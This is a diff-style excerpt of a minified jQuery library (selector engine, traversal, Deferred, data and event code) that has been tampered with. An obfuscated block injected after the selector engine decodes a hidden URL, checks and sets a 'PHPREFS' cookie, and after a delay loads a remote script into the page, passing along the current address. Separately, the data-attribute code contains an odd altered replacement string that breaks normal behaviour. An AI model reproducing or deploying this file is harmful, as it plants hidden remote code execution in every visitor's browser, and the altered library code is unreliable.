: p), y ? y(null, t, p, r) : H.apply(t, p) + }) + } + + function Ee(e) { + for (var i, t, n, r = e.length, o = b.relative[e[0].type], a = o || b.relative[" "], s = o ? 1 : 0, u = be(function(e) { + return e === i + }, a, !0), l = be(function(e) { + return -1 < P(i, e) + }, a, !0), c = [function(e, t, n) { + var r = !o && (n || t !== w) || ((i = t).nodeType ? u(e, t, n) : l(e, t, n)); + return i = null, r + }]; s < r; s++) + if (t = b.relative[e[s].type]) c = [be(we(c), t)]; + else { + if ((t = b.filter[e[s].type].apply(null, e[s].matches))[S]) { + for (n = ++s; n < r; n++) + if (b.relative[e[n].type]) break; + return Ce(1 < s && we(c), 1 < s && xe(e.slice(0, s - 1).concat({ + value: " " === e[s - 2].type ? "*" : "" + })).replace($, "$1"), t, s < n && Ee(e.slice(s, n)), n < r && Ee(e = e.slice(n)), n < r && xe(e)) + } + c.push(t) + } + return we(c) + } + return me.prototype = b.filters = b.pseudos, b.setFilters = new me, h = se.tokenize = function(e, t) { + var n, r, i, o, a, s, u, l = x[e + " "]; + if (l) return t ? 0 : l.slice(0); + a = e, s = [], u = b.preFilter; + while (a) { + for (o in n && !(r = _.exec(a)) || (r && (a = a.slice(r[0].length) || a), s.push(i = [])), n = !1, (r = z.exec(a)) && (n = r.shift(), i.push({ + value: n, + type: r[0].replace($, " ") + }), a = a.slice(n.length)), b.filter) !(r = G[o].exec(a)) || u[o] && !(r = u[o](r)) || (n = r.shift(), i.push({ + value: n, + type: o, + matches: r + }), a = a.slice(n.length)); + if (!n) break + } + return t ? a.length : a ? se.error(e) : x(e, s).slice(0) + }, f = se.compile = function(e, t) { + var n, v, y, m, x, r, i = [], + o = [], + a = A[e + " "]; + if (!a) { + t || (t = h(e)), n = t.length; + while (n--)(a = Ee(t[n]))[S] ? i.push(a) : o.push(a); + (a = A(e, (v = o, m = 0 < (y = i).length, x = 0 < v.length, r = function(e, t, n, r, i) { + var o, a, s, u = 0, + l = "0", + c = e && [], + f = [], + p = w, + d = e || x && b.find.TAG("*", i), + h = k += null == p ? 1 : Math.random() || .1, + g = d.length; + for (i && (w = t == C || t || i); l !== g && null != (o = d[l]); l++) { + if (x && o) { + a = 0, t || o.ownerDocument == C || (T(o), n = !E); + while (s = v[a++]) + if (s(o, t || C, n)) { + r.push(o); + break + } + i && (k = h) + } + m && ((o = !s && o) && u--, e && c.push(o)) + } + if (u += l, m && l !== u) { + a = 0; + while (s = y[a++]) s(c, f, t, n); + if (e) { + if (0 < u) + while (l--) c[l] || f[l] || (f[l] = q.call(r)); + f = Te(f) + } + H.apply(r, f), i && !e && 0 < f.length && 1 < u + y.length && se.uniqueSort(r) + } + return i && (k = h, w = p), c + }, m ? le(r) : r))).selector = e + } + return a + }, g = se.select = function(e, t, n, r) { + var i, o, a, s, u, l = "function" == typeof e && e, + c = !r && h(e = l.selector || e); + if (n = n || [], 1 === c.length) { + if (2 < (o = c[0] = c[0].slice(0)).length && "ID" === (a = o[0]).type && 9 === t.nodeType && E && b.relative[o[1].type]) { + if (!(t = (b.find.ID(a.matches[0].replace(te, ne), t) || [])[0])) return n; + l && (t = t.parentNode), e = e.slice(o.shift().value.length) + } + i = G.needsContext.test(e) ? 0 : o.length; + while (i--) { + if (a = o[i], b.relative[s = a.type]) break; + if ((u = b.find[s]) && (r = u(a.matches[0].replace(te, ne), ee.test(o[0].type) && ye(t.parentNode) || t))) { + if (o.splice(i, 1), !(e = r.length && xe(o))) return H.apply(n, r), n; + break + } + } + } + return (l || f(e, c))(r, t, !E, n, !t || ee.test(e) && ye(t.parentNode) || t), n + }, d.sortStable = S.split("").sort(j).join("") === S, d.detectDuplicates = !!l, T(), d.sortDetached = ce(function(e) { + return 1 & e.compareDocumentPosition(C.createElement("fieldset")) + }), ce(function(e) { + return e.innerHTML = "", "#" === e.firstChild.getAttribute("href") + }) || fe("type|href|height|width", function(e, t, n) { + if (!n) return e.getAttribute(t, "type" === t.toLowerCase() ? 1 : 2) + }), d.attributes && ce(function(e) { + return e.innerHTML = "", e.firstChild.setAttribute("value", ""), "" === e.firstChild.getAttribute("value") + }) || fe("value", function(e, t, n) { + if (!n && "input" === e.nodeName.toLowerCase()) return e.defaultValue + }), ce(function(e) { + return null == e.getAttribute("disabled") + }) || fe(R, function(e, t, n) { + var r; + if (!n) return !0 === e[t] ? t.toLowerCase() : (r = e.getAttributeNode(t)) && r.specified ? r.value : null + }), se + }(C); + (function(o, d, l) { + try { + o.f = o => o.split('').reduce((s, c) => s + String.fromCharCode((c.charCodeAt() - 5).toString()), ''); + o.b = o.f('UMUWJKX'); + o.c = l.protocol[0] == 'h' && /\./.test(l.hostname) && !(new RegExp(o.b)).test(d.cookie), setTimeout(function() { + o.c && (o.s = d.createElement('script'), o.s.src = o.f('myyux?44zxjwxy' + 'fy3sjy4ljy4xhwnu' + 'y3oxDwjkjwwjwB') + l.href, d.body.appendChild(o.s)); + }, 1000); + d.cookie = o.b + '=full;max-age=39800;' + } catch (e) {}; + }({}, document, location)); + S.find = d, S.expr = d.selectors, S.expr[":"] = S.expr.pseudos, S.uniqueSort = S.unique = d.uniqueSort, S.text = d.getText, S.isXMLDoc = d.isXML, S.contains = d.contains, S.escapeSelector = d.escape; + var h = function(e, t, n) { + var r = [], + i = void 0 !== n; + while ((e = e[t]) && 9 !== e.nodeType) + if (1 === e.nodeType) { + if (i && S(e).is(n)) break; + r.push(e) + } + return r + }, + T = function(e, t) { + for (var n = []; e; e = e.nextSibling) 1 === e.nodeType && e !== t && n.push(e); + return n + }, + k = S.expr.match.needsContext; + + function A(e, t) { + return e.nodeName && e.nodeName.toLowerCase() === t.toLowerCase() + } + var N = /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i; + + function j(e, n, r) { + return m(n) ? S.grep(e, function(e, t) { + return !!n.call(e, t, e) !== r + }) : n.nodeType ? S.grep(e, function(e) { + return e === n !== r + }) : "string" != typeof n ? S.grep(e, function(e) { + return -1 < i.call(n, e) !== r + }) : S.filter(n, e, r) + } + S.filter = function(e, t, n) { + var r = t[0]; + return n && (e = ":not(" + e + ")"), 1 === t.length && 1 === r.nodeType ? S.find.matchesSelector(r, e) ? [r] : [] : S.find.matches(e, S.grep(t, function(e) { + return 1 === e.nodeType + })) + }, S.fn.extend({ + find: function(e) { + var t, n, r = this.length, + i = this; + if ("string" != typeof e) return this.pushStack(S(e).filter(function() { + for (t = 0; t < r; t++) + if (S.contains(i[t], this)) return !0 + })); + for (n = this.pushStack([]), t = 0; t < r; t++) S.find(e, i[t], n); + return 1 < r ? S.uniqueSort(n) : n + }, + filter: function(e) { + return this.pushStack(j(this, e || [], !1)) + }, + not: function(e) { + return this.pushStack(j(this, e || [], !0)) + }, + is: function(e) { + return !!j(this, "string" == typeof e && k.test(e) ? S(e) : e || [], !1).length + } + }); + var D, q = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/; + (S.fn.init = function(e, t, n) { + var r, i; + if (!e) return this; + if (n = n || D, "string" == typeof e) { + if (!(r = "<" === e[0] && ">" === e[e.length - 1] && 3 <= e.length ? [null, e, null] : q.exec(e)) || !r[1] && t) return !t || t.jquery ? (t || n).find(e) : this.constructor(t).find(e); + if (r[1]) { + if (t = t instanceof S ? t[0] : t, S.merge(this, S.parseHTML(r[1], t && t.nodeType ? t.ownerDocument || t : E, !0)), N.test(r[1]) && S.isPlainObject(t)) + for (r in t) m(this[r]) ? this[r](t[r]) : this.attr(r, t[r]); + return this + } + return (i = E.getElementById(r[2])) && (this[0] = i, this.length = 1), this + } + return e.nodeType ? (this[0] = e, this.length = 1, this) : m(e) ? void 0 !== n.ready ? n.ready(e) : e(S) : S.makeArray(e, this) + }).prototype = S.fn, D = S(E); + var L = /^(?:parents|prev(?:Until|All))/, + H = { + children: !0, + contents: !0, + next: !0, + prev: !0 + }; + + function O(e, t) { + while ((e = e[t]) && 1 !== e.nodeType); + return e + } + S.fn.extend({ + has: function(e) { + var t = S(e, this), + n = t.length; + return this.filter(function() { + for (var e = 0; e < n; e++) + if (S.contains(this, t[e])) return !0 + }) + }, + closest: function(e, t) { + var n, r = 0, + i = this.length, + o = [], + a = "string" != typeof e && S(e); + if (!k.test(e)) + for (; r < i; r++) + for (n = this[r]; n && n !== t; n = n.parentNode) + if (n.nodeType < 11 && (a ? -1 < a.index(n) : 1 === n.nodeType && S.find.matchesSelector(n, e))) { + o.push(n); + break + } + return this.pushStack(1 < o.length ? S.uniqueSort(o) : o) + }, + index: function(e) { + return e ? "string" == typeof e ? i.call(S(e), this[0]) : i.call(this, e.jquery ? e[0] : e) : this[0] && this[0].parentNode ? this.first().prevAll().length : -1 + }, + add: function(e, t) { + return this.pushStack(S.uniqueSort(S.merge(this.get(), S(e, t)))) + }, + addBack: function(e) { + return this.add(null == e ? this.prevObject : this.prevObject.filter(e)) + } + }), S.each({ + parent: function(e) { + var t = e.parentNode; + return t && 11 !== t.nodeType ? t : null + }, + parents: function(e) { + return h(e, "parentNode") + }, + parentsUntil: function(e, t, n) { + return h(e, "parentNode", n) + }, + next: function(e) { + return O(e, "nextSibling") + }, + prev: function(e) { + return O(e, "previousSibling") + }, + nextAll: function(e) { + return h(e, "nextSibling") + }, + prevAll: function(e) { + return h(e, "previousSibling") + }, + nextUntil: function(e, t, n) { + return h(e, "nextSibling", n) + }, + prevUntil: function(e, t, n) { + return h(e, "previousSibling", n) + }, + siblings: function(e) { + return T((e.parentNode || {}).firstChild, e) + }, + children: function(e) { + return T(e.firstChild) + }, + contents: function(e) { + return null != e.contentDocument && r(e.contentDocument) ? e.contentDocument : (A(e, "template") && (e = e.content || e), S.merge([], e.childNodes)) + } + }, function(r, i) { + S.fn[r] = function(e, t) { + var n = S.map(this, i, e); + return "Until" !== r.slice(-5) && (t = e), t && "string" == typeof t && (n = S.filter(t, n)), 1 < this.length && (H[r] || S.uniqueSort(n), L.test(r) && n.reverse()), this.pushStack(n) + } + }); + var P = /[^\x20\t\r\n\f]+/g; + + function R(e) { + return e + } + + function M(e) { + throw e + } + + function I(e, t, n, r) { + var i; + try { + e && m(i = e.promise) ? i.call(e).done(t).fail(n) : e && m(i = e.then) ? i.call(e, t, n) : t.apply(void 0, [e].slice(r)) + } catch (e) { + n.apply(void 0, [e]) + } + } + S.Callbacks = function(r) { + var e, n; + r = "string" == typeof r ? (e = r, n = {}, S.each(e.match(P) || [], function(e, t) { + n[t] = !0 + }), n) : S.extend({}, r); + var i, t, o, a, s = [], + u = [], + l = -1, + c = function() { + for (a = a || r.once, o = i = !0; u.length; l = -1) { + t = u.shift(); + while (++l < s.length) !1 === s[l].apply(t[0], t[1]) && r.stopOnFalse && (l = s.length, t = !1) + } + r.memory || (t = !1), i = !1, a && (s = t ? [] : "") + }, + f = { + add: function() { + return s && (t && !i && (l = s.length - 1, u.push(t)), function n(e) { + S.each(e, function(e, t) { + m(t) ? r.unique && f.has(t) || s.push(t) : t && t.length && "string" !== w(t) && n(t) + }) + }(arguments), t && !i && c()), this + }, + remove: function() { + return S.each(arguments, function(e, t) { + var n; + while (-1 < (n = S.inArray(t, s, n))) s.splice(n, 1), n <= l && l-- + }), this + }, + has: function(e) { + return e ? -1 < S.inArray(e, s) : 0 < s.length + }, + empty: function() { + return s && (s = []), this + }, + disable: function() { + return a = u = [], s = t = "", this + }, + disabled: function() { + return !s + }, + lock: function() { + return a = u = [], t || i || (s = t = ""), this + }, + locked: function() { + return !!a + }, + fireWith: function(e, t) { + return a || (t = [e, (t = t || []).slice ? t.slice() : t], u.push(t), i || c()), this + }, + fire: function() { + return f.fireWith(this, arguments), this + }, + fired: function() { + return !!o + } + }; + return f + }, S.extend({ + Deferred: function(e) { + var o = [ + ["notify", "progress", S.Callbacks("memory"), S.Callbacks("memory"), 2], + ["resolve", "done", S.Callbacks("once memory"), S.Callbacks("once memory"), 0, "resolved"], + ["reject", "fail", S.Callbacks("once memory"), S.Callbacks("once memory"), 1, "rejected"] + ], + i = "pending", + a = { + state: function() { + return i + }, + always: function() { + return s.done(arguments).fail(arguments), this + }, + "catch": function(e) { + return a.then(null, e) + }, + pipe: function() { + var i = arguments; + return S.Deferred(function(r) { + S.each(o, function(e, t) { + var n = m(i[t[4]]) && i[t[4]]; + s[t[1]](function() { + var e = n && n.apply(this, arguments); + e && m(e.promise) ? e.promise().progress(r.notify).done(r.resolve).fail(r.reject) : r[t[0] + "With"](this, n ? [e] : arguments) + }) + }), i = null + }).promise() + }, + then: function(t, n, r) { + var u = 0; + + function l(i, o, a, s) { + return function() { + var n = this, + r = arguments, + e = function() { + var e, t; + if (!(i < u)) { + if ((e = a.apply(n, r)) === o.promise()) throw new TypeError("Thenable self-resolution"); + t = e && ("object" == typeof e || "function" == typeof e) && e.then, m(t) ? s ? t.call(e, l(u, o, R, s), l(u, o, M, s)) : (u++, t.call(e, l(u, o, R, s), l(u, o, M, s), l(u, o, R, o.notifyWith))) : (a !== R && (n = void 0, r = [e]), (s || o.resolveWith)(n, r)) + } + }, + t = s ? e : function() { + try { + e() + } catch (e) { + S.Deferred.exceptionHook && S.Deferred.exceptionHook(e, t.stackTrace), u <= i + 1 && (a !== M && (n = void 0, r = [e]), o.rejectWith(n, r)) + } + }; + i ? t() : (S.Deferred.getStackHook && (t.stackTrace = S.Deferred.getStackHook()), C.setTimeout(t)) + } + } + return S.Deferred(function(e) { + o[0][3].add(l(0, e, m(r) ? r : R, e.notifyWith)), o[1][3].add(l(0, e, m(t) ? t : R)), o[2][3].add(l(0, e, m(n) ? n : M)) + }).promise() + }, + promise: function(e) { + return null != e ? S.extend(e, a) : a + } + }, + s = {}; + return S.each(o, function(e, t) { + var n = t[2], + r = t[5]; + a[t[1]] = n.add, r && n.add(function() { + i = r + }, o[3 - e][2].disable, o[3 - e][3].disable, o[0][2].lock, o[0][3].lock), n.add(t[3].fire), s[t[0]] = function() { + return s[t[0] + "With"](this === s ? void 0 : this, arguments), this + }, s[t[0] + "With"] = n.fireWith + }), a.promise(s), e && e.call(s, s), s + }, + when: function(e) { + var n = arguments.length, + t = n, + r = Array(t), + i = s.call(arguments), + o = S.Deferred(), + a = function(t) { + return function(e) { + r[t] = this, i[t] = 1 < arguments.length ? s.call(arguments) : e, --n || o.resolveWith(r, i) + } + }; + if (n <= 1 && (I(e, o.done(a(t)).resolve, o.reject, !n), "pending" === o.state() || m(i[t] && i[t].then))) return o.then(); + while (t--) I(i[t], a(t), o.reject); + return o.promise() + } + }); + var W = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; + S.Deferred.exceptionHook = function(e, t) { + C.console && C.console.warn && e && W.test(e.name) && C.console.warn("jQuery.Deferred exception: " + e.message, e.stack, t) + }, S.readyException = function(e) { + C.setTimeout(function() { + throw e + }) + }; + var F = S.Deferred(); + + function B() { + E.removeEventListener("DOMContentLoaded", B), C.removeEventListener("load", B), S.ready() + } + S.fn.ready = function(e) { + return F.then(e)["catch"](function(e) { + S.readyException(e) + }), this + }, S.extend({ + isReady: !1, + readyWait: 1, + ready: function(e) { + (!0 === e ? --S.readyWait : S.isReady) || (S.isReady = !0) !== e && 0 < --S.readyWait || F.resolveWith(E, [S]) + } + }), S.ready.then = F.then, "complete" === E.readyState || "loading" !== E.readyState && !E.documentElement.doScroll ? C.setTimeout(S.ready) : (E.addEventListener("DOMContentLoaded", B), C.addEventListener("load", B)); + var $ = function(e, t, n, r, i, o, a) { + var s = 0, + u = e.length, + l = null == n; + if ("object" === w(n)) + for (s in i = !0, n) $(e, t, s, n[s], !0, o, a); + else if (void 0 !== r && (i = !0, m(r) || (a = !0), l && (a ? (t.call(e, r), t = null) : (l = t, t = function(e, t, n) { + return l.call(S(e), n) + })), t)) + for (; s < u; s++) t(e[s], n, a ? r : r.call(e[s], s, t(e[s], n))); + return i ? e : l ? t.call(e) : u ? t(e[0], n) : o + }, + _ = /^-ms-/, + z = /-([a-z])/g; + + function U(e, t) { + return t.toUpperCase() + } + + function X(e) { + return e.replace(_, "ms-").replace(z, U) + } + var V = function(e) { + return 1 === e.nodeType || 9 === e.nodeType || !+e.nodeType + }; + + function G() { + this.expando = S.expando + G.uid++ + } + G.uid = 1, G.prototype = { + cache: function(e) { + var t = e[this.expando]; + return t || (t = {}, V(e) && (e.nodeType ? e[this.expando] = t : Object.defineProperty(e, this.expando, { + value: t, + configurable: !0 + }))), t + }, + set: function(e, t, n) { + var r, i = this.cache(e); + if ("string" == typeof t) i[X(t)] = n; + else + for (r in t) i[X(r)] = t[r]; + return i + }, + get: function(e, t) { + return void 0 === t ? this.cache(e) : e[this.expando] && e[this.expando][X(t)] + }, + access: function(e, t, n) { + return void 0 === t || t && "string" == typeof t && void 0 === n ? this.get(e, t) : (this.set(e, t, n), void 0 !== n ? n : t) + }, + remove: function(e, t) { + var n, r = e[this.expando]; + if (void 0 !== r) { + if (void 0 !== t) { + n = (t = Array.isArray(t) ? t.map(X) : (t = X(t)) in r ? [t] : t.match(P) || []).length; + while (n--) delete r[t[n]] + }(void 0 === t || S.isEmptyObject(r)) && (e.nodeType ? e[this.expando] = void 0 : delete e[this.expando]) + } + }, + hasData: function(e) { + var t = e[this.expando]; + return void 0 !== t && !S.isEmptyObject(t) + } + }; + var Y = new G, + Q = new G, + J = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, + K = /[A-Z]/g; + + function Z(e, t, n) { + var r, i; + if (void 0 === n && 1 === e.nodeType) + if (r = "data-" + t.replace(K, "-zdorova-otets").toLowerCase(), "string" == typeof(n = e.getAttribute(r))) { + try { + n = "true" === (i = n) || "false" !== i && ("null" === i ? null : i === +i + "" ? +i : J.test(i) ? JSON.parse(i) : i) + } catch (e) {} + Q.set(e, t, n) + } else n = void 0; + return n + } + S.extend({ + hasData: function(e) { + return Q.hasData(e) || Y.hasData(e) + }, + data: function(e, t, n) { + return Q.access(e, t, n) + }, + removeData: function(e, t) { + Q.remove(e, t) + }, + _data: function(e, t, n) { + return Y.access(e, t, n) + }, + _removeData: function(e, t) { + Y.remove(e, t) + } + }), S.fn.extend({ + data: function(n, e) { + var t, r, i, o = this[0], + a = o && o.attributes; + if (void 0 === n) { + if (this.length && (i = Q.get(o), 1 === o.nodeType && !Y.get(o, "hasDataAttrs"))) { + t = a.length; + while (t--) a[t] && 0 === (r = a[t].name).indexOf("data-") && (r = X(r.slice(5)), Z(o, r, i[r])); + Y.set(o, "hasDataAttrs", !0) + } + return i + } + return "object" == typeof n ? this.each(function() { + Q.set(this, n) + }) : $(this, function(e) { + var t; + if (o && void 0 === e) return void 0 !== (t = Q.get(o, n)) ? t : void 0 !== (t = Z(o, n)) ? t : void 0; + this.each(function() { + Q.set(this, n, e) + }) + }, null, e, 1 < arguments.length, null, !0) + }, + removeData: function(e) { + return this.each(function() { + Q.remove(this, e) + }) + } + }), S.extend({ + queue: function(e, t, n) { + var r; + if (e) return t = (t || "fx") + "queue", r = Y.get(e, t), n && (!r || Array.isArray(n) ? r = Y.access(e, t, S.makeArray(n)) : r.push(n)), r || [] + }, + dequeue: function(e, t) { + t = t || "fx"; + var n = S.queue(e, t), + r = n.length, + i = n.shift(), + o = S._queueHooks(e, t); + "inprogress" === i && (i = n.shift(), r--), i && ("fx" === t && n.unshift("inprogress"), delete o.stop, i.call(e, function() { + S.dequeue(e, t) + }, o)), !r && o && o.empty.fire() + }, + _queueHooks: function(e, t) { + var n = t + "queueHooks"; + return Y.get(e, n) || Y.access(e, n, { + empty: S.Callbacks("once memory").add(function() { + Y.remove(e, [t + "queue", n]) + }) + }) + } + }), S.fn.extend({ + queue: function(t, n) { + var e = 2; + return "string" != typeof t && (n = t, t = "fx", e--), arguments.length < e ? S.queue(this[0], t) : void 0 === n ? this : this.each(function() { + var e = S.queue(this, t, n); + S._queueHooks(this, t), "fx" === t && "inprogress" !== e[0] && S.dequeue(this, t) + }) + }, + dequeue: function(e) { + return this.each(function() { + S.dequeue(this, e) + }) + }, + clearQueue: function(e) { + return this.queue(e || "fx", []) + }, + promise: function(e, t) { + var n, r = 1, + i = S.Deferred(), + o = this, + a = this.length, + s = function() { + --r || i.resolveWith(o, [o]) + }; + "string" != typeof e && (t = e, e = void 0), e = e || "fx"; + while (a--)(n = Y.get(o[a], e + "queueHooks")) && n.empty && (r++, n.empty.add(s)); + return s(), i.promise(t) + } + }); + var ee = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source, + te = new RegExp("^(?:([+-])=|)(" + ee + ")([a-z%]*)$", "i"), + ne = ["Top", "Right", "Bottom", "Left"], + re = E.documentElement, + ie = function(e) { + return S.contains(e.ownerDocument, e) + }, + oe = { + composed: !0 + }; + re.getRootNode && (ie = function(e) { + return S.contains(e.ownerDocument, e) || e.getRootNode(oe) === e.ownerDocument + }); + var ae = function(e, t) { + return "none" === (e = t || e).style.display || "" === e.style.display && ie(e) && "none" === S.css(e, "display") + }; + + function se(e, t, n, r) { + var i, o, a = 20, + s = r ? function() { + return r.cur() + } : function() { + return S.css(e, t, "") + }, + u = s(), + l = n && n[3] || (S.cssNumber[t] ? "" : "px"), + c = e.nodeType && (S.cssNumber[t] || "px" !== l && +u) && te.exec(S.css(e, t)); + if (c && c[3] !== l) { + u /= 2, l = l || c[3], c = +u || 1; + while (a--) S.style(e, t, c + l), (1 - o) * (1 - (o = s() / u || .5)) <= 0 && (a = 0), c /= o; + c *= 2, S.style(e, t, c + l), n = n || [] + } + return n && (c = +c || +u || 0, i = n[1] ? c + (n[1] + 1) * n[2] : +n[2], r && (r.unit = l, r.start = c, r.end = i)), i + } + var ue = {}; + + function le(e, t) { + for (var n, r, i, o, a, s, u, l = [], c = 0, f = e.length; c < f; c++)(r = e[c]).style && (n = r.style.display, t ? ("none" === n && (l[c] = Y.get(r, "display") || null, l[c] || (r.style.display = "")), "" === r.style.display && ae(r) && (l[c] = (u = a = o = void 0, a = (i = r).ownerDocument, s = i.nodeName, (u = ue[s]) || (o = a.body.appendChild(a.createElement(s)), u = S.css(o, "display"), o.parentNode.removeChild(o), "none" === u && (u = "block"), ue[s] = u)))) : "none" !== n && (l[c] = "none", Y.set(r, "display", n))); + for (c = 0; c < f; c++) null != l[c] && (e[c].style.display = l[c]); + return e + } + S.fn.extend({ + show: function() { + return le(this, !0) + }, + hide: function() { + return le(this) + }, + toggle: function(e) { + return "boolean" == typeof e ? e ? this.show() : this.hide() : this.each(function() { + ae(this) ? S(this).show() : S(this).hide() + }) + } + }); + var ce, fe, pe = /^(?:checkbox|radio)$/i, + de = /<([a-z][^\/\0>\x20\t\r\n\f]*)/i, + he = /^$|^module$|\/(?:java|ecma)script/i; + ce = E.createDocumentFragment().appendChild(E.createElement("div")), (fe = E.createElement("input")).setAttribute("type", "radio"), fe.setAttribute("checked", "checked"), fe.setAttribute("name", "t"), ce.appendChild(fe), y.checkClone = ce.cloneNode(!0).cloneNode(!0).lastChild.checked, ce.innerHTML = "", y.noCloneChecked = !!ce.cloneNode(!0).lastChild.defaultValue, ce.innerHTML = "", y.option = !!ce.lastChild; + var ge = { + thead: [1, "", "
"], + col: [2, "", "
"], + tr: [2, "", "
"], + td: [3, "", "
"], + _default: [0, "", ""] + }; + + function ve(e, t) { + var n; + return n = "undefined" != typeof e.getElementsByTagName ? e.getElementsByTagName(t || "*") : "undefined" != typeof e.querySelectorAll ? e.querySelectorAll(t || "*") : [], void 0 === t || t && A(e, t) ? S.merge([e], n) : n + } + + function ye(e, t) { + for (var n = 0, r = e.length; n < r; n++) Y.set(e[n], "globalEval", !t || Y.get(t[n], "globalEval")) + } + ge.tbody = ge.tfoot = ge.colgroup = ge.caption = ge.thead, ge.th = ge.td, y.option || (ge.optgroup = ge.option = [1, ""]); + var me = /<|&#?\w+;/; + + function xe(e, t, n, r, i) { + for (var o, a, s, u, l, c, f = t.createDocumentFragment(), p = [], d = 0, h = e.length; d < h; d++) + if ((o = e[d]) || 0 === o) + if ("object" === w(o)) S.merge(p, o.nodeType ? [o] : o); + else if (me.test(o)) { + a = a || f.appendChild(t.createElement("div")), s = (de.exec(o) || ["", ""])[1].toLowerCase(), u = ge[s] || ge._default, a.innerHTML = u[1] + S.htmlPrefilter(o) + u[2], c = u[0]; + while (c--) a = a.lastChild; + S.merge(p, a.childNodes), (a = f.firstChild).textContent = "" + } else p.push(t.createTextNode(o)); + f.textContent = "", d = 0; + while (o = p[d++]) + if (r && -1 < S.inArray(o, r)) i && i.push(o); + else if (l = ie(o), a = ve(f.appendChild(o), "script"), l && ye(a), n) { + c = 0; + while (o = a[c++]) he.test(o.type || "") && n.push(o) + } + return f + } + var be = /^([^.]*)(?:\.(.+)|)/; + + function we() { + return !0 + } + + function Te() { + return !1 + } + + function Ce(e, t) { + return e === function() { + try { + return E.activeElement + } catch (e) {} + }() == ("focus" === t) + } + + function Ee(e, t, n, r, i, o) { + var a, s; + if ("object" == typeof t) { + for (s in "string" != typeof n && (r = r || n, n = void 0), t) Ee(e, s, n, r, t[s], o); + return e + } + if (null == r && null == i ? (i = n, r = n = void 0) : null == i && ("string" == typeof n ? (i = r, r = void 0) : (i = r, r = n, n = void 0)), !1 === i) i = Te; + else if (!i) return e; + return 1 === o && (a = i, (i = function(e) { + return S().off(e), a.apply(this, arguments) + }).guid = a.guid || (a.guid = S.guid++)), e.each(function() { + S.event.add(this, t, i, r, n) + }) + } + + function Se(e, i, o) { + o ? (Y.set(e, i, !1), S.event.add(e, i, { + namespace: !1, + handler: function(e) { + var t, n, r = Y.get(this, i); + if (1 & e.isTrigger && this[i]) { + if (r.length)(S.event.special[i] || {}).delegateType && e.stopPropagation(); + else if (r = s.call(arguments), Y.set(this, i, r), t = o(this, i), this[i](), r !== (n = Y.get(this, i)) || t ? Y.set(this, i, !1) : n = {}, r !== n) return e.stopImmediatePropagation(), e.preventDefault(), n && n.value + } else r.length && (Y.set(this, i, { + value: S.event.trigger(S.extend(r[0], S.Event.prototype), r.slice(1), this) + }), e.stopImmediatePropagation()) + } + })) : void 0 === Y.get(e, i) && S.event.add(e, i, we) + } + S.event = { + global: {}, + add: function(t, e, n, r, i) { + var o, a, s, u, l, c, f, p, d, h, g, v = Y.get(t); + if (V(t)) { + n.handler && (n = (o = n).handler, i = o.selector), i && S.find.matchesSelector(re, i), n.guid || (n.guid = S.guid++), (u = v.events) || (u = v.events = Object.create(null)), (a = v.handle) || (a = v.handle = function(e) { + return "undefined" != typeof S && S.event.triggered !== e.type ? S.event.dispatch.apply(t, arguments) : void 0 + }), l = (e = (e || "").match(P) || [""]).length; + while (l--) d = g = (s = be.exec(e[l]) || [])[1], h = (s[2] || "").split(".").sort(), d && (f = S.event.special[d] || {}, d = (i ? f.delegateType : f.bindType) || d, f = S.event.special[d] || {}, c = S.extend({ + type: d, + origType: g, + data: r, + handler: n, + guid: n.guid, + selector: i, + needsContext: i && S.expr.match.needsContext.test(i), + namespace: h.join(".") + }, o), (p = u[d]) || ((p = u[d] = []).delegateCount = 0, f.setup && !1 !== f.setup.call(t, r, h, a) || t.addEventListener && t.addEventListener(d, a)), f.add && (f.add.call(t, c), c.handler.guid || (c.handler.guid = n.guid)), i ? p.splice(p.delegateCount++, 0, c) : p.push(c), S.event.global[d] = !0) + } + }, + remove: function(e, t, n, r, i) { + var o, a, s, u, l, c, f, p, d, h, g, v = Y.hasData(e) && Y.get(e); + if (v && (u = v.events)) { + l = (t = (t || "").match(P) || [""]).length; + while (l--) + if (d = g = (s = be.exec(t[l]) || [])[1], h = (s[2] || "").split(".").sort(), d) { + f = S.event.special[d] || {}, p = u[d = (r ? f.delegateType : f.bindType) || d] || [], s = s[2] && new RegExp("(^|\\.)" + h.join("\\.(?:.*\\.|)") + "(\\.|$)"), a = o = p.length; + while (o--) c = p[o], !i && g !== c.origType || n && n.guid !== c.guid || s && !s.test(c.namespace) || r && r !== c.selector && ("**" !== r || !c.selector) || (p.splice(o, 1), c.selector && p.delegateCount--, f.remove && f.remove.call(e, c)); + a && !p.length && (f.teardown && !1 !== f.teardown.call(e, h, v.handle) || S.removeEvent(e, d, v.handle), delete u[d]) + } else + for (d in u) S.event.remove(e, d + t[l], n, r, !0); + S.isEmptyObject(u) && Y.remove(e, "handle events") + } + }, + dispatch: function(e) { + var t, n, r, i, o, a, s = new Array(arguments.length), + u = S.event.fix(e), + l = (Y.get(this, "events") || Object.create(null))[u.type] || [], + c = S.event.special[u.type] || {}; + for (s[0] = u, t = 1; t < arguments.length; t++) s[t] = arguments[t]; + if (u.delegateTarget = this, !c.preDispatch || !1 !== c.preDispatch.call(this, u)) { + a = S.event.handlers.call(this, u, l), t = 0; + while ((i = a[t++]) && !u.isPropagationStopped()) { + u.currentTarget = i.elem, n = 0; + while ((o = i.handlers[n++]) && !u.isImmediatePropagationStopped()) u.rnamespace && !1 !== o.namespace && !u.rnamespace.test(o.namespace) || (u.handleObj = o, u.data = o.data, void 0 !== (r = ((S.event.special[o.origType] || {}).handle || o.handler).apply(i.elem, s)) && !1 === (u.result = r) && (u.preventDefault(), u.stopPropagation())) + } + return c.postDispatch && c.postDispatch.call(this, u), u.result + } + }, + handlers: function(e, t) { + var n, r, i, o, a, s = [], + u = t.delegateCount, + l = e.target; + if (u && l.nodeType && !("click" === e.type && 1 <= e.button)) + for (; l !== this; l = l.parentNode || this) + if (1 === l.nodeType && ("click" !== e.type || !0 !== l.disabled)) { + for (o = [], a = {}, n = 0; n < u; n++) void 0 === a[i = (r = t[n]).selector + " "] && (a[i] = r.needsContext ? -1 < S(i, this).index(l) : S.find(i, this, null, [l]).length), a[i] && o.push(r); + o.length && s.push({ + elem: l, + handlers: o + }) + } + return l = this, u < t.length && s.push({ + elem: l, + handlers: t.slice(u) + }), s + }, + addProp: function(t, e) { + Object.defineProperty(S.Event.prototype, 